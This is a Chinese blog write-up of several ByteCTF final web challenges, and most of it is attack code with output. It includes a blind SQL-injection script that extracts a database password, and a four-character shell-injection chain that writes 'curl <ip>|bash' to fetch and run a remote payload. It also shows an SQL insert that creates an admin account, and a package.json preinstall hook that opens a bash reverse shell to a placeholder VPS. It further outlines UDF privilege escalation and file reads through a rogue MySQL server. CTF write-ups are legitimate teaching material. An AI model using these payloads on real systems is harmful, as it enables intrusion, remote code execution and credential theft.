bytectf-finnal小结

bytectf 决赛小结

比赛中主要一直在看那一两道题,小结一下其它题
@[toc]

microservices

datamanager

注册登录后order存在排序注入,但是这里也还有很多注入方法例如使用case when延时注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# -*- coding: utf-8 -*-
import requests
import string
import time

url = "https://bc4342ec7a347b34f6c0f81f44b54b5a.2022.capturetheflag.fun/dashboard?order="

s = requests.session()

payload = "rand(1)"

str = string.digits + string.ascii_letters + "@!_"

res = s.get(url + payload, headers={
"Cookie": "JSESSIONID=02D970F221F1B2DB95A3849150DC5879"
})
# print(res.text.find('asdasdsadsaadsad'))
result = ''
for o in range(1,250):
# for i in range(32,128):
for i in str:
# payload = "rand((select {} rlike Ascii(database()) limit 1 offset {}))".format(ord(i),o)
# payload = "rand((select {} rlike Ascii(select database()) limit 1 offset 0))".format(ord(i))
result1 = f"(Select PAS$WORD from users Limit 1 Offset 0)"
payload = f'rand(Substr({result1} from {o} for 1) like {hex(ord(i))})'
# payload = "rand(0)"
# ADMINISTRABLEROLEAUTHORIZATIONS APPLICABLEROLES CHARACTERSETS CHARACTERSETS
res = s.get(url+payload,headers={
"Cookie":"JSESSIONID=02D970F221F1B2DB95A3849150DC5879"
})
# 12214 15606
# mySqlSuperStr0ngpaSSw0rb
content = res.text
# print(content.find('asdasdsadsaadsad'))
# print(content)
if content.find('asdasdsadsaadsad')<12250:
result += i
print(result)
break
# print(content.find('asdasdsadsaadsad'))


# print(res.request.url)
# print(res.text)


注入出admin密码为ctf/ctf@BvteDaNceS3cRet

status存在任意sql语句执行并且/tmp目录可写而且plugin目录也在/tmp所以可以进行udf提权但提权后可以发现flag不在sql容器,所以还得打主容器。

connection test界面可以连接任意mysql,所以思考打恶意mysql服务读文件。

参考github项目https://github.com/fnmsd/MySQL_Fake_Server
但是直接运行连接后会报错无法读到文件,需要更改字符集或者参考wm的做法修改一下 handshake.py的72行d[2]改成0x21 否则报错。

file协议即可列出根目录文件

最后读取根目录flag即可

typing_game

做法一—四字节写sh反弹shell

通过附件,猜测题目存在反代,所以通过/report访问本地的/status,绕过X-Real-Ip。然后通过4字符rce反弹shell,flag在环境变量里。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#-*-coding:utf8-*-
import requests
import requests as r
from time import sleep
import random
import hashlib
import os
target = 'https://e6b42b40ba615e1fa0f2bccac7410867.2022.capturetheflag.fun/'

# 存放待下载文件的公网主机的IP
shell_ip = 'xx.xx.xx.xx'


# 将shell_IP转换成十六进制
ip = '0x' + ''.join([ str ( hex ( int (i))[ 2 :].zfill( 2 ))
for i in shell_ip.split( '.' )])

# reset = target + '?reset'
# cmd = target + '?cmd='
# sandbox = target + 'sandbox/' + \
# hashlib.md5( 'orange' + your_ip).hexdigest() + '/'

# payload某些位置的可选字符
pos0 = random.choice( 'efgh' )
pos1 = random.choice( 'hkpq' )
pos2 = 'g' # 随意选择字符

payload = [
'>dir' ,
# 创建名为 dir 的文件

'>%s\>' % pos0,
# 假设pos0选择 f , 创建名为 f> 的文件

'>%st-' % pos1,
# 假设pos1选择 k , 创建名为 kt- 的文件,必须加个pos1,
# 因为alphabetical序中t>s

'>sl' ,
# 创建名为 >sl 的文件;到此处有四个文件,
# ls 的结果会是:dir f> kt- sl

'*>v' ,
# 前文提到, * 相当于 `ls` ,那么这条命令等价于 `dir f> kt- sl`>v ,
# 前面提到dir是不换行的,所以这时会创建文件 v 并写入 f> kt- sl
# 非常奇妙,这里的文件名是 v ,只能是v ,没有可选字符

'>rev' ,
# 创建名为 rev 的文件,这时当前目录下 ls 的结果是: dir f> kt- rev sl v

'*v>%s' % pos2,
# 魔法发生在这里: *v 相当于 rev v ,* 看作通配符。前文也提过了,体会一下。
# 这时pos2文件,也就是 g 文件内容是文件v内容的反转: ls -tk > f

# 续行分割 curl 0x11223344|php 并逆序写入
'>sh' ,
'>ba\\' ,
'>\|\\' ,
'>%s\\' % ip[ 8 : 10 ],
'>%s\\' % ip[ 6 : 8 ],
'>%s\\' % ip[ 4 : 6 ],
'>%s\\' % ip[ 2 : 4 ],
'>%s\\' % ip[ 0 : 2 ],
'>\ \\' ,
'>rl\\' ,
'>cu\\' ,

'sh ' + pos2,
# sh g ;g 的内容是 ls -tk > f ,那么就会把逆序的命令反转回来,
# 虽然 f 的文件头部会有杂质,但不影响有效命令的执行
'sh ' + pos0,
# sh f 执行curl命令,下载文件,写入木马。
]

r = requests.get(target+"report",verify=False,params={
"url":"http://127.0.0.1:13002/status?cmd="+"rm *"
})
print(r.text)
sleep(31)
for i in payload:
print(i)
r = requests.get(target+"report",verify=False,params={
"url":"http://127.0.0.1:13002/status?cmd="+i
})
print(r.text)
sleep(33)
# s = r.get(reset)
# for i in payload:
# assert len (i) < = 4
# s = r.get(cmd + i)
# print '[%d]' % s.status_code, s.url
# sleep( 0.1 )
# s = r.get(sandbox + 'fun.php?cmd=uname -a' )
# print '[%d]' % s.status_code, s.url
# print s.text

做法二—xss

ctf_cloud

注册密码处没有预编译,插一个admin

password=”test’,0),(‘admin’,’test’,1),(‘test1’,’test”

自定义npm包,package.json preinstall 命令注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from http import cookies
import requests
url="https://c428a075ea0cf05daaabfa8b37e0546c.2022.capturetheflag.fun"
cookies={"connect.sid":"s:xnOAZmSKObG1cBPcgT8udf_ME772hGKD.xaIbGXUAqba9ZcFQbm5Bxbxv4Jz1TuANbpYoFvMVH7I"}
r1=requests.post(url+'/dashboard/upload',files={'files':open('index.js')},cookies=cookies)
print(r1.text)
r2=requests.post(url+'/dashboard/upload',files={'files':open('package.json')},cookies=cookies)
print(r2.text)
r3=requests.post(url+'/dashboard/dependencies',json={'dependencies':{
"uploads": "file:public/uploads"
}},cookies=cookies)
print(r3.text)
r4=requests.post(url+'/dashboard/run',cookies=cookies)
print(r4.text)

package.json

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"name": "uploads",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"preinstall": "bash -c 'bash -i >& /dev/tcp/vpsip/2333 0>&1'"
},
"keywords": [],
"author": "",
"license": "ISC"
}


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!